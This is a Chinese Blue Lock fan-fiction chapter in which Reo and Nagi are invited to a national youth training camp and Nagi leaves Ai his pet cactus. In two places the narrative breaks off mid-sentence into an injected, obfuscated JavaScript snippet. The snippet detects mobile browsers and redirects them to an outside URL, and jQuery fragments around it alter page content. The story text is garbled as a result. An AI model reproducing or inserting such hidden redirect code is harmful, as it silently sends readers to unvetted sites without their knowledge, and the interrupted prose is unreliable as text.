日子在训练、上课、应付凯撒刁钻问题的循环中悄然滑过。玲王的心事被他完美地封存在那副阳光笑容之下,仿佛从未存在。他甚至主动出击,凭借白宝足球部连胜的势头和御影家的影响力,接连接受了来自东京都内几所传统足球强校的训练赛邀请。 ○○高中、■■学园、△△高校……这些名字在高中足球界都颇有分量。比赛一场接一场,对手越来越强,挑战越来越大。 而玲王和凪这对组合,在高压下爆发出更加惊人的能量。玲王的大局观和指挥若定,凪那不讲理的天赋和关键时刻的灵光乍现,配合得越发默契。白宝高中这支原本籍籍无名的私立学校球队,在他们的带领下,竟一路高歌猛进,以令人咋舌的连胜战绩,硬生生在强手林立的东京都高中足球圈杀出了一条血路! 胜利的喜悦冲刷着球队,也似乎暂时冲淡了玲王眉宇间偶尔闪过的一丝阴翳。训练场上的气氛热烈而积极,每个人都沉浸在不断胜利带来的自信和亢奋中。 终于,当白宝高中以一场酣畅淋漓的3:0客场大胜老牌劲旅■■学园后,关于这支黑马球队的报道,登上了东京一份颇具影响力的体育报纸的次级版面。虽然篇幅不大,位置也不算醒目,但标题足够抓人眼球——《新锐崛起!白宝双子星连胜无败绩!》 报纸被兴奋的队员们传阅着。玲王拿着那份报纸,紫罗兰色的眼眸里闪烁着复杂的光芒,有骄傲,有兴奋,但似乎……也有一丝更加沉重的东西沉淀了下去。他笑着接受队员们的祝贺,将那份报纸仔细地折好,放进了自己的运动背包里。 *** 胜利的光环和密集的赛程带来的,是成倍增长的疲惫。 又是一个训练日的下午。毒辣的太阳炙烤着球场,空气仿佛凝固了,闷热得让人喘不过气。基础体能训练刚进行到一半,凪诚士郎这台“节能机器”终于彻底宣告电量耗尽。 在完成一组折返跑后,他高大的身躯像一座被抽掉了承重柱的雪山,轰然倒塌在滚烫的草皮上。白色的头发被汗水浸透,黏在额角和脸颊,胸口剧烈起伏着,大口大口地喘着气,脸色透着运动后的潮红,但眼神是彻底放空的,只剩下“生无可恋”四个大字在瞳孔里旋转。 “不行了……玲王……真的……动不了了……” 他连声音都像是从破风箱里挤出来的,断断续续,气若游丝,“……让我……死在这里吧……” 玲王刚完成自己的训练量,额头上也布满了细密的汗珠,紫色的训练背心紧贴在身上,勾勒出精悍的线条。他走到凪身边,用脚尖不轻不重地踢了踢凪的小腿:“喂!起来!才练了多久?别装死!还有战术演练呢!” “……杀了我吧……” 凪连眼皮都懒得抬,只是把脸往草皮上埋了埋,仿佛那滚烫的地面是世界上最舒服的床垫,“……玲王……你是恶魔……” “少废话!快起来!” 玲王双手叉腰,语气带着不容商量的严厉,“再不起来,下周所有训练结束后的加练项目,你全包了!” 这威胁对凪来说简直是晴天霹雳。他发出一声绝望的哀鸣,身体却像被焊在了地上,纹丝不动。节能模式已进入深度休眠,外界刺激无效。 玲王又催了几句,见凪是铁了心要当一滩“人形史莱姆”,也无可奈何。他烦躁地抓了抓自己汗湿的紫发,最终放弃:“啧!随你便吧!我先去练战术跑位了!你最好在我练完之前恢复点人样!” 说完,他转身跑向远处的战术板,留下凪独自在草皮上“躺尸”。 我拿着记录本和水壶走过去,在凪旁边蹲下。草皮的热气隔着裤子传上来。看着他这副彻底“摆烂”的样子,我叹了口气,祭出最后的杀手锏:“凪,再不起来,今天的柠檬茶就没了哦。” 以往这招百试百灵。但今天,凪只是极其缓慢地转动了一下眼珠,那没什么焦点的黑色瞳孔瞥了我一眼,又无力地转了回去,声音飘忽得像一缕青烟:“……没劲了……真的……要死了……柠檬茶……也……救不了……” 看来是真的榨干了。我看着他被汗水浸透的头发和微微颤抖的手臂,知道他没说谎。这段时间的训练和比赛强度,对玲王那种体能怪物来说都是挑战,更何况是凪这种“节能至上”主义者。 “那要不要试试高压电流?” 我故意板起脸,语气带着点恐吓,“保证瞬间清醒。” 凪沉默了几秒,然后慢悠悠地、带着点控诉的意味开口:“……骑士姬……果然……很冷漠……” 骑士姬?! 我拿着记录本的手猛地一顿,惊愕地看向他。这个只在高一时期流传、后来被玲王当作笑谈的离谱外号……凪怎么会知道?而且是在这种时候,用这种半死不活的语气说出来? 他依旧躺在地上,望着被阳光刺得有些发白的天空,脸上没什么表情,仿佛刚才只是随口说了句“今天好热”。 “你……听谁说的?” 我忍不住问道,声音有点发紧。 凪没回答。他只是继续望着天,仿佛刚才那句话耗尽了他最后一点八卦的力气。过了好一会儿,就在我以为他不会回答的时候,他忽然又开口了。这一次,声音清晰了不少,虽然依旧带着疲惫,但不再是断断续续的气音,话语也连贯了起来: “爱……你以后……也会成为足球运动员吗?踢女足?” 这话题跳转得太快,我一时没反应过来:“……啊?” 凪侧过头,那双半睁着的黑色眼睛看向我,里面带着一种纯粹的、因体力恢复而重新浮现的好奇:“你这么厉害……不踢球……浪费天赋……可就太不好了……” 他的语气很平淡,像是在陈述一个客观事实。 这论调……这措辞……怎么听着这么耳熟? 电光火石间,一个画面闪过脑海——拜仁慕尼黑的训练场上,诺埃尔·诺亚那冰冷的金眸扫过我,淡淡地评价:“有天赋的影子,但浪费。” 还有在足协大楼,绘心甚八那隔着镜片、毫无温度的审视目光,以及那句短促的“你踢球吗?”…… 而现在,凪诚士郎,这个平时脑子里只有“麻烦”和“柠檬茶”的节能怪物,居然用这种近乎复刻的语气跟我说“浪费天赋”? 我眯起眼睛,狐疑地盯着他:“凪,你……是不是在帮玲王讲话?” 玲王一直对我疏离足球的态度耿耿于怀,只是尊重我的选择没有多问。难道他私下里跟凪抱怨过? 凪眨了眨眼,长长的白色睫毛在阳光下像刷子一样。他没有承认,也没有否认。就在我以为他又要装死沉默时,他突然毫无预兆地、用一种极其平板、毫无起伏、却又能明显听出是在模仿谁的语调,清晰地吐出一句话: “你是……我的宝物。” 轰——! 我的大脑仿佛被一道闪电劈中! 这语气!这内容!这不就是当初玲王在楼梯间发现凪那惊人的天赋后,两眼放光、激动万分地宣布凪是他的“宝物”时的原话吗?!凪这家伙!居然连这个都记得!还模仿得惟妙惟肖! 看着他躺在地上,用那张没什么表情的脸模仿玲王那种狂热语气说出这种话,巨大的反差感带来的冲击力简直让人哭笑不得。我瞬间明白了他的潜台词:玲王把他当“宝物”,所以他也学着玲王的语气,把我当成“宝物”了?这算什么?节能怪的报恩?还是……凪式逻辑的诡异延伸? 脸有点发烫,我下意识地移开视线,清了清嗓子,试图把话题拉回正轨:“……所以,你到底起不起来?战术演练要开始了,玲王那边一个人跑位效果会打折扣的。” 我顿了顿,想起他刚才的“威胁”,立刻补充,“柠檬茶禁止了!想都别想!” 凪重新望向天空,慢悠悠地叹了口气,那样子仿佛在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251821|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思考一个关乎人类存亡的哲学问题。过了几秒,他才慢吞吞地开口,声音带着点认命的味道:“……好吧好吧……爱……你拉我起来……我就去……” 拉他起来?这倒是可以接受。我站起身,朝他伸出手。 然而,凪只是懒洋洋地瞥了一眼我伸出的手,然后慢悠悠地、用一种理所当然的语气说出了更过分的要求: “……背我过去。” “……” 我伸出去的手僵在了半空。 背他过去?! 我看着地上那个身高接近一米九、虽然不显壮但肌肉密度绝对不低的巨大“史莱姆”,再看看自己这勉强够到一米七的体型。一股荒谬感直冲天灵盖。 “凪诚士郎,” 我几乎是从牙缝里挤出他的名字,“你是不是对我起了杀心?” 我指着自己,“想用你的体重,把我压死在通往战术板的路上,继承我书包里的柠檬茶?” 凪那双没什么波澜的黑色眼睛无辜地看着我,语气平板无波,却透着一股理直气壮的赖皮:“……骑士姬的实力……深不见底……背我一个……弱小无助又可怜的……男高中生……不在话下……” 弱小无助又可怜?!还男高中生?!他到底是怎么顶着这张帅脸说出这种话的?! 我被他的无耻逻辑噎得差点背过气去。看着他那副“你不背我就不起来,反正我躺着也挺舒服”的死猪不怕开水烫模样,再看看远处玲王已经开始独自在战术板前比划跑位、背影透着一丝不易察觉的孤单…… 一股莫名的冲动涌了上来。好!背就背!让你看看什么叫“自取其辱”! “行!” 我恶狠狠地应下,带着一种破罐子破摔的悲壮感,“你等着!” 我深吸一口气,活动了一下手腕脚腕(虽然知道这纯属心理安慰),然后走到凪身边,背对着他,扎了个极其不标准的马步,双手向后张开,摆出一个准备迎接“泰山压顶”的姿势。 “来!上来!” 我视死如归地低吼。 凪似乎也没想到我真会答应,那双半睁着的黑眼睛里难得地闪过一丝惊讶。他慢吞吞地、像一只刚睡醒的树懒,动作迟缓地从地上撑起上半身,然后试探性地、将两条长到离谱的手臂搭在了我的肩膀上。 一股沉重的压力瞬间袭来!我咬紧牙关,调动起全身的力气,腰腹核心拼命收紧,双腿用力蹬地! “起——!” 我低喝一声,用尽吃奶的力气往上猛抬! 结果…… 凪诚士郎那双穿着专业足球鞋的大脚,只是象征性地、极其轻微地离开了地面大约……五厘米?然后,在重力的无情拉扯和我自身力量的极限告罄下,他的脚后跟又“咚”地一声,完美地、结结实实地重新踏回了滚烫的草皮上。 而我,因为用力过猛,重心不稳,差点一个趔趄直接扑街!幸好凪反应快,搭在我肩膀上的手臂稍微用了点力,把我拽了回来。 空气仿佛凝固了。 我弯着腰,双手撑着膝盖,大口喘着粗气,感觉腰椎在哀鸣。凪则依旧稳稳地“站”在原地,低头看着我,那张没什么表情的俊脸上,此刻清晰地写着几个大字:你不行啊。 无声的尴尬在弥漫。远处好像有队员好奇地朝这边张望。 “……凪诚士郎。” 我直起腰,感觉脸上火辣辣的,不知道是累的还是臊的,“你是秤砣成精吗?” 凪眨了眨眼,慢吞吞地评价:“……爱……你力气……比玲王小多了……” “废话!” 我没好气地瞪他。 此路不通。看着凪那副“是你不行”的节能模样,再看看远处玲王已经开始对着空气比划传球路线,我迅速环顾四周。训练场边,几辆共享单车静静地停放在树荫下。 一个念头闪过脑海。 “你等着!” 我丢下一句话,转身快步跑向场边。 几分钟后,我骑着一辆亮黄色的共享单车,“嘎吱”一声,稳稳地停在了依旧赖在地上的凪诚士郎面前。车轮几乎要压到他的球鞋。 凪懒洋洋地抬起眼皮,看着眼前这辆和他体型相比显得有些娇小的单车,又看看我,眼神里透露出一个巨大的问号。 “上来。” 我拍了拍单车后座,言简意赅。 凪盯着那个小小的、硬邦邦的金属后座,又看看我,脸上第一次露出了清晰的、名为“抗拒”的表情:“……不要……屁股疼……会散架……” “少废话!” 我打断他,语气不容置疑,“要么自己爬起来走过去,要么坐上来。二选一!再磨蹭,我立刻安排下周加练翻倍!” 加练翻倍的威胁显然比屁股疼更可怕。凪那张帅脸瞬间垮了下来,写满了“人间不值得”。他极其不情愿地、像慢动作回放一样,慢吞吞地从地上爬起来,动作僵硬得像生了锈的机器人。他一步一挪地蹭到单车旁,盯着那可怜的后座,仿佛在进行最后的挣扎。 最终,在“加练地狱”的威慑下,节能怪物的生存本能还是战胜了舒适度需求。他认命地、以一种极其别扭的姿势,侧身坐上了那个狭小的后座。两条无处安放的长腿只能委屈地蜷缩着,膝盖几乎要顶到我的后背。他整个人像是被硬塞进了一个不合适的盒子里,浑身散发着浓烈的“好麻烦”、“好想死”的气息。 “坐稳了。” 我提醒一声,脚下一蹬,单车晃晃悠悠地载着我们两个人,朝着远处战术板旁那个紫色身影骑去。 车轮碾过草皮边缘的塑胶跑道,发出沙沙的轻响。凪的身体因为单车的晃动而微微摇晃,他不得不伸出手,极其克制地、只用两根手指捏住了我腰侧的一点点衣料,以维持那岌岌可危的平衡。 夏末的风带着热气拂过脸颊。沉默中,凪那闷闷的声音从我背后传来,带着点追忆往昔的味道: “……上次……坐我的车……还是十五万円……” 他的声音不大,却清晰地钻进我的耳朵。十五万円……那个荒谬的共享单车初遇,那个被班主任藤原老师当成勒索案的乌龙,还有玲王当时面红耳赤拉着我逃离的尴尬场面……回忆瞬间涌上心头。这家伙,居然还记得这么清楚。 “闭嘴。” 我没好气地回了一句,脚下蹬得更用力了,“这次免费!再提钱就把你扔下去!” 凪在我身后似乎极其轻微地“哼”了一声,算是表达不满,但总算安静了下来。只有他温热的呼吸偶尔拂过我的后颈,带来一丝微痒。 单车载着我们,穿过半个训练场,朝着玲王的方向靠近。夕阳的金辉将我们的影子拉得很长。 战术板前,玲王正背对着我们,似乎刚刚结束一组跑位的模拟。他微微低着头,手里拿着一个……信封? 那是一个看起来很普通的白色信封,没有任何标识。玲王正低头看着从信封里抽出的纸张,眉头微蹙,似乎在仔细阅读着什么。夕阳的余晖勾勒出他专注的侧脸线条,那紫罗兰色的眼眸里,似乎沉淀着一丝凝重和……思索? 就在我们的单车即将靠近,车轮碾过草皮发出声响时,玲王似乎看完了信的内容。他紧蹙的眉头忽然舒展开来,嘴角向上勾起,露出了一个……笑容。 那不是他平时那种阳光灿烂、充满自信的“白宝王子”式笑容。这个笑容很淡,唇角上扬的弧度带着一种了然于胸的笃定,紫眸深处闪烁着一种棋逢对手般的、混杂着兴奋和锐利的光芒。像是一头年轻的雄狮,终于嗅到了真正值得一战的猎物气息。 他捏着那张信纸,抬起头,目光似乎穿透了训练场的喧嚣,投向了某个遥远的地方。夕阳的金光落在他紫色的短发和俊朗的脸上,那个转瞬即逝的、带着锋芒的笑容,如同一把即将出鞘的利刃,在暮色中闪过一道冷冽的光。 我们的单车,恰在此时,“嘎吱”一声,停在了他身后几步远的地方。 22. 入选 我看到了玲王手里那封带着足协徽章的信纸。 那抹深蓝与金色的交织,像一枚投入平静湖面的石子,瞬间荡开了他脸上所有阴霾的涟漪。玲王猛地抬起头,紫罗兰色的眼眸里像是被点燃了无数簇细小的火焰,灼亮得惊人。他攥着那张薄薄的信纸,指节因为用力而微微发白,但嘴角却不受控制地向上扬起,越咧越大,最终绽放出一个毫无保留的、带着巨大惊喜和如释重负的灿烂笑容! “爱!凪!”他几乎是吼出来的,声音因为激动而微微发颤,像一颗投入湖面的石子,打破了训练场黄昏的宁静,“是足协!日本足协的邀请函!”他挥舞着那封信,像挥舞着一面胜利的旗帜,三步并作两步冲到我和刚刚从共享单车后座挣扎着“卸货”、一脸生无可恋的凪面前。 凪慢吞吞地掀起眼皮,瞥了一眼那封信,又看了看兴奋得快要燃烧起来的玲王,慢悠悠地吐出一个字:“……哦。” 仿佛那只是一张无关紧要的传单。 玲王毫不在意凪的冷淡,他此刻的情绪如同喷发的火山,急需宣泄的出口。他一把抓住我的胳膊,又用力拍了拍凪的肩膀(后者被拍得晃了晃),紫眸里闪烁着一种近乎透明的、终于卸下重负的光芒:“你们知道吗?之前……就是那天晚上在凪家,我接到我爸的电话。” 提到父亲,他眼底深处掠过一丝极其短暂、几乎难以捕捉的阴翳,但很快被更大的兴奋覆盖,“老头子又来了!还是那套老掉牙的说辞!他说,‘玲王,足球玩玩可以,但别太当真。你是御影家的继承人,那些才是你的正途。除非……’” 玲王深吸一口气,模仿着他父亲那带着上位者威压和一丝戏谑的语气,惟妙惟肖:“‘除非你能靠这个‘游戏’,堂堂正正地披上国家队的战袍,代表日本出战。否则,就给我乖乖收心!’” 他顿了顿,脸上的笑容混合着少年人的锐气和一丝被压抑后终于爆发的痛快:“哈!我当时……确实很不爽!凭什么?!我的梦想凭什么要被他用这种条件来框定?!所以我才直接走了,不想让凪看到我那副鬼样子。” 他看向凪,眼神坦率。凪眨了眨眼,没说话,只是把脸往围巾里埋了埋。 “但是现在!”玲王的声音陡然拔高,充满了无与伦比的自信和扬眉吐气的畅快,他用力抖开那张信纸,纸页在夕阳下发出清脆的哗啦声,“看!邀请函!日本足球协会青少年人才强化集训队!我入选了!御影玲王的名字在上面!” 他指着信纸上清晰打印的名字,指尖都在微微发亮,“这说明了什么?这是足协的认可!是通往国家队的必经之路!老头子不是说‘除非’吗?现在,我离那个‘除非’只差一步之遥了!我用自己的实力,踩在他给我画的线上往前冲了!” 他紫眸中的火焰熊熊燃烧,仿佛要将之前所有的憋闷和不甘都焚烧殆尽。 他兴奋地转向凪:“凪!你肯定也……” 话还没说完,他就看到凪慢吞吞地、像树懒掏蜂蜜一样,正从他的运动背包一个极其隐蔽、大概专门用来存放零食和游戏卡带的内袋里,慢悠悠地往外掏东西。 掏出来的,赫然是一个一模一样的、印着足协徽章的白色信封! 玲王的动作瞬间顿住,紫眸微微睁大。 凪把那信封捏在手里,前后看了看,又捏了捏厚度,脸上依旧是那副“好麻烦”的表情,声音平板无波:“……嗯。好像是有这么个东西……塞包里一直没拆……原来里面是纸啊……” “……” 玲王和我同时无语。 这家伙!足协的邀请函!多少人梦寐以求的东西!他居然当废纸一样塞在零食袋旁边,连拆都懒得拆?! 在玲王几乎要喷火的目光和我“快拆开看看”的眼神催促下,凪才慢吞吞地、极其不情愿地撕开了信封封口。他两根手指伸进去,极其“节能”地夹出了里面的信纸,抖开。 目光扫过。除了抬头名字处打印着“凪诚士郎”四个字,其他内容,包括措辞、格式、落款,甚至纸张的纹路,都和玲王手里那份一模一样。 凪看完,没什么表情地把信纸递向玲王:“……喏。一样的。” 玲王一把抓过,飞快地扫视一遍,脸上爆发出更盛的光芒,刚才那点对凪态度的无语瞬间被巨大的喜悦冲散:“太好了!凪!你也入选了!我们一起去!” 他激动地看向我,紫眸亮得如同星辰:“爱!看到了吗?我和凪!一起入选了强化集训队!我们……” “不去。” 一个清晰、平板、毫无波澜的声音,像一盆冰水,精准地浇在了玲王刚刚燃起的、熊熊燃烧的热情火焰上。 玲王脸上兴奋的笑容瞬间僵住,他猛地转过头,难以置信地瞪着凪:“……什么?!你再说一遍?!” 凪诚士郎已经重新把自己“卸”靠在旁边的战术板支架上,高大的身躯微微佝偻着,双手插在卫衣口袋里,帽檐下的黑眼睛半睁着,里面写满了“好麻烦”和“想回家”。他迎着玲王惊愕又带着点受伤的目光,慢悠悠地、清晰地重复了一遍: “不去。” “集训……听起来就很麻烦……” 他微微歪了歪头,像是在认真思考拒绝的理由,“……肯定要早起……训练量超大……还不能打游戏……也没有午觉睡……” 他每说一个词,玲王的脸就黑一分,紫眸里的火焰从难以置信渐渐转化为愤怒的小火苗。 “凪诚士郎!”玲王几乎是咬牙切齿,“这是国家队的敲门砖!是通往世界杯的阶梯!是证明我们价值的机会!你脑子里除了游戏和睡觉还能装点别的吗?!” 他气得上前一步,揪住凪的卫衣领子(虽然因为身高差这个动作有点滑稽),“我们不是说好了要一起……” “玲王。”凪平静地打断了他,那双没什么焦点的黑眼睛越过玲王愤怒的肩头,直直地看向站在一旁的我,语气依旧是平板的,却带着一种奇异的穿透力,“……爱不去的话……会很寂寞吧。” 他顿了顿,像是在组织语言,又像是在确认自己的感觉,慢吞吞地补充道:“……这样的白宝三人组……不就不完整了吗?……不完美。” 他最后用了“完美”这个词,从节能怪物嘴里说出来,带着一种近乎诡异的郑重感,“……我姑且……也想当一会儿的完美主义者。” 空气仿佛凝固了。 玲王揪着凪衣领的手僵在那里,他脸上的愤怒瞬间褪去,被一种巨大的错愕和猝不及防的冲击取代。他像是第一次认识凪一样,紫眸微微睁大,极其缓慢地转过头,视线从凪那张没什么表情的脸,移到了我的脸上。 夕阳的金辉勾勒着他轮廓分明的侧脸,那紫罗兰色的眼眸深处,翻涌着极其复杂的情绪——有对凪突然提起我的意外,有被“完美主义”这种词从凪口中说出带来的荒谬感,还有一种更深层的、仿佛心底某个隐秘角落被猝然点亮的震动。他看着我,眼神里带着一丝询问,一丝茫然,还有一丝……连他自己都未曾察觉的、被触动的柔软。 我被他看得有些不自在,下意识地避开了视线。心脏却因为凪那句“会很寂寞吧”和“不完美”而轻轻悸动了一下。这个节能怪物……总是能在最意想不到的时候,用最平淡的语气,说出最戳人心窝的话。 玲王似乎花了点时间消化凪这突如其来的“完美主义宣言”。他松开揪着凪衣领的手,有些烦躁地抓了抓自己汗湿的紫发,再看向凪时,眼神里多了几分无奈,却也带着一种不容置疑的坚定。 “笨蛋凪!”他用力拍了拍凪的肩膀,这次带着点兄长的责备和纵容,“就算爱不去,我一个人也能把你照顾得很好!集训而已!怕什么!保证把你喂得饱饱的,训练间隙让你偷偷眯一会儿,行了吧?” 他试图用凪的逻辑去说服凪。 我忍不住噗嗤一声笑了出来,刚才那点微妙的悸动被玲王这“饲养员”般的宣言冲散:“玲王,你这话说的……怎么感觉像是在养儿子?” 我调侃道,试图缓解一下这越来越奇怪的气氛。 玲王被我噎了一下,俊脸瞬间涨红,紫眸瞪着我:“喂!爱!别胡说八道!谁要养这种又懒又挑食的儿子!” 他气急败坏地反驳。 然而,凪诚士郎的反应永远出人意料。他慢悠悠地转过头,那没什么波澜的黑眼睛精准地锁定我,然后,抬起一根修长的手指,极其自然地指向我,用他那标志性的、毫无起伏的语调,清晰地接下了我的话: “……那……你就是妈妈?” “……” 死寂。 训练场上仿佛连风声都停了。夕阳的余晖尴尬地挂在天边。 我的笑容瞬间僵死在脸上,一股热气“腾”地一下从脚底板直冲天灵盖!玲王更是像被雷劈中一样,整个人石化在原地,目瞪口呆地看着凪,又看看我,脸上的红晕迅速蔓延到了耳朵根。 “凪!诚!士!郎!” 我几乎是咬牙切齿地从牙缝里挤出他的名字,声音都变调了,“闭嘴!不准说这种奇怪的、听起来像□□一样的话!” 我感觉自己的脸颊烫得能煎鸡蛋,羞恼和荒谬感交织在一起,恨不得立刻用高压电流让这个口无遮拦的节能怪物理闭嘴! 我深吸一口气,强迫自己冷静下来,目光像刀子一样射向凪:“还有你!你的双亲!要是知道你在外面这样乱认人,他们会伤心得哭出来的好吗?!好好珍惜自己的爸爸妈妈啊笨蛋!” 凪被我吼得眨了眨眼,长长的白色睫毛像小扇子一样扑闪了两下。他歪着头,似乎真的在认真思考我的话,几秒钟后,他才慢悠悠地、用一种探讨宇宙真理般的认真口吻,抛出了他的结论: “……一个人……可以有两对双亲……的吧?” “……” “……” 这次,连玲王都彻底失语了。他捂着额头,发出一声痛苦的呻吟:“凪……你这家伙的脑回路……到底是怎么长的啊?!” 语气充满了无力感和一种“我到底捡了个什么怪物回来”的绝望。 我也被凪这惊世骇俗的“双亲复数论”彻底打败了,所有吐槽的力气都被抽干,只剩下深深的无力感:“……放弃吧玲王,跟这家伙讲伦理,就像跟草履虫讨论核聚变。” 凪看看我,又看看一脸崩溃的玲王,最终选择了沉默。节能模式启动,省电保平安。夕阳下,我们三人以一种极其诡异的沉默姿态站着,背景是空旷的训练场和那辆歪倒在草地上的共享单车,空气里弥漫着草皮、汗水以及凪诚士郎牌逻辑死胡同的独特气息。 *** 几天后,清晨的阳光带着初秋的凉意,透过车窗洒进来。御影家派来的黑色高级轿车平稳地行驶在通往集训基地的路上。车内空间宽敞舒适,却弥漫着一股奇特的安静。 我坐在副驾驶,透过后视镜看着后座。玲王靠窗坐着,侧脸线条在晨光中显得有些紧绷,紫眸望着窗外飞速倒退的街景,手指无意识地在膝盖上轻轻敲击着,似乎在默记战术要点,又像是在平复内心的兴奋和一丝不易察觉的紧张。他穿着简洁的运动外套,头发打理得一丝不苟,整个人散发着一种即将踏上战场的、内敛的锐气。 凪诚士郎则占据了后座另一侧几乎全部空间。他高大的身躯以一种极其“节能”的姿势陷在宽大柔软的真皮座椅里,卫衣帽子拉得很低,遮住了大半张脸,只露出线条清晰的下巴和一点白色的发梢。他双手插在口袋里,呼吸均匀绵长,显然已经成功进入了“车上补眠”的节能模式。 就在这安静得只剩下引擎声和凪轻微呼吸声的车厢里,一直“待机”的凪突然动了动。他没有摘下帽子,只是慢吞吞地、像树懒掏树洞一样,从他那件宽大卫衣的口袋里摸索着什么。 玲王被他的动作吸引,收回望向窗外的视线,疑惑地看着凪。 我也好奇地从后视镜里观察。 几秒钟后,凪的手从口袋里抽了出来。他摊开掌心,递向副驾驶座的我。 在他骨节分明、略显苍白的手心里,静静地躺着一个……小小的、圆滚滚的陶土花盆。花盆里,种着一株极其迷你的仙人掌。那仙人掌的形状很特别,像一只努力向上伸展、笨拙地比着“耶”的小手。 “……给。” 凪的声音闷在帽子里,带着刚睡醒的沙哑鼻音,“……小剪。我的宠物。托你照顾。” 我愣住了,下意识地伸手接过那个小小的、带着凪掌心余温的花盆。仙人掌的刺很细软,摸上去有点痒痒的。这……这就是他说的“宠物”?一只比耶的仙人掌? “它……叫小剪?” 我小心翼翼地捧着这盆小小的生命,感觉有点新奇又有点好笑。 “……嗯。” 凪应了一声,似乎觉得任务完成,又准备缩回他的节能外壳里。但停顿了一下,他又慢悠悠地补充道:“……不用太在意。以周为单位……浇一次水就行。多了会烂根……少了……它应该也死不了……” 语气平淡得像在交代一件无关紧要的行李。 玲王在旁边看得目瞪口呆,终于忍不住插话:“喂,凪!你什么时候还养起植物了?还……宠物仙人掌?” 他脸上的表情像是看到了外星生物登陆地球。 凪在帽子里动了动脑袋,大概算是“看”了玲王一眼,声音依旧闷闷的,带着点理所当然:“……因为不想丧失说话的能力……又不想社交……养个东西……对着它说说话就好……” 他的逻辑简单直接得让人无从反驳。 玲王被噎得翻了个白眼,扶额吐槽:“你这脑回路……真是越来越清奇了!对着仙人掌说话就能保持语言能力?那你怎么不买个鹦鹉?” “……鹦鹉……太吵了……还要喂食……清理粪便……好麻烦……” 凪理直气壮地给出了他的节能评估报告。 玲王彻底无言以对,只能对我露出一个“你看吧,这家伙没救了”的无奈表情。我低头看着掌心那株努力“比耶”的小小仙人掌“小剪”,感受着花盆上残留的、属于凪的微凉体温,心底某个角落却莫名地柔软了一下。这个怕麻烦到极致的家伙,用他独特的方式,笨拙地留下了一点需要被照料的“羁绊”。 车子缓缓减速,最终停在了一处开阔的、被高大围墙环绕的建筑群入口处。巨大的金属门紧闭着,透着一股森严和与世隔绝的气息。这里就是日本足协旗下的青少年强化集训基地了。 司机下车,恭敬地拉开了后座车门。玲王深吸一口气,紫眸中重新燃起斗志昂扬的光芒,率先拎起运动包下了车。凪也慢吞吞地挪动着身体,像一台启动缓慢的精密仪器,从车里“卸”了出来,站在玲王身边,依旧是一副没睡醒的样子,卫衣帽子遮住了大半张脸。 “爱,那我们进去了。”玲王转过身,对我露出一个标志性的、充满信心的笑容,紫眸在晨光下熠熠生辉,“放心!我们会带着‘最强前锋’的名号回来的!” 他用力握了握拳。 凪站在他旁边,没什么动作,只是帽檐下的目光似乎朝我这边瞥了一眼,极其轻微地点了下头,算是告别。 “嗯,加油。” 我抱着装有“小剪”的花盆,对他们挥了挥手,“保持联系。” 车门关上,黑色的轿车缓缓启动,调头驶离。我透过后窗玻璃,看着玲王挺拔的紫色背影和凪那懒洋洋的巨大白色身影,并肩走向那扇缓缓开启的、如同巨兽之口般的基地大门,最终被吞没在门后的阴影里。 车子汇入车流,周遭的喧嚣瞬间涌了进来。我低头看着掌心那盆安静“比耶”的小仙人掌,花盆小小的,陶土粗糙的质感摩擦着指尖。刚才还觉得有点好笑的“宠物”,此刻在空旷的副驾驶座上,却像一枚沉甸甸的砝码,压在了心口。一种前所未有的、巨大的空洞感,毫无预兆地席卷而来。训练场上三人吵闹的日常,玲王兴奋的呼喊,凪懒洋洋的吐槽,甚至是他那些惊世骇俗的“双亲论”……那些曾经觉得聒噪或无语的碎片,此刻都镀上了一层名为“回忆”的暖金色光晕,变得无比珍贵。 原来习惯了三个人吵吵闹闹的空间,骤然只剩下自己和一个沉默的仙人掌,竟会如此……寂寞。 *** 集训基地内部,集合大厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251822|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 巨大的穹顶下,人声鼎沸。来自全国各地的顶尖足球少年汇聚于此,空气中弥漫着汗水的味道、崭新的球鞋皮革味、以及一种名为“竞争”的无声硝烟。穿着各色训练服的少年们三五成群,或兴奋地交谈,或沉默地观察,或独自做着热身,每一双眼睛里都燃烧着对未来的渴望和对证明自己的迫切。 御影玲王和凪诚士郎这对身高和发色都极其醒目的组合一出现,就吸引了不少探究的目光。玲王对这种注目早已习以为常,他紫眸锐利地扫视着大厅,像一位巡视领地的王子,评估着潜在的对手和盟友。凪则自动屏蔽了所有外界信号,像一座移动的冰山,目标明确地寻找着能让他靠墙“节能”的位置。 “玲——王——君!” 一个充满活力、如同弹射起步般的欢快声音穿透嘈杂,猛地扎了过来! 玲王循声望去。只见一个身影正像颗小炮弹一样,从大厅另一侧的人群中蹦跳着冲过来!耀眼的黑发挑染着几缕蜂蜜般的金色,随着跑动跳跃着,一双如同融化的黄金般璀璨的蜂蜜金瞳,此刻正盛满了巨大的惊喜和毫不掩饰的亲近感! 是蜂乐回! “哇!真的是你!玲王!” 蜂乐回眨眼间就冲到了玲王面前,像只兴奋的小狗,绕着玲王转了小半圈,蜂蜜金瞳亮晶晶地上下打量着玲王崭新的训练服,“你怎么也在这里?太巧了吧!是来参加这个集训的吗?智辉叔叔知道吗?小丸子最近可乖了,就是有点想我……” 他一口气抛出一连串问题,语速快得像机关枪,热情得让人招架不住。 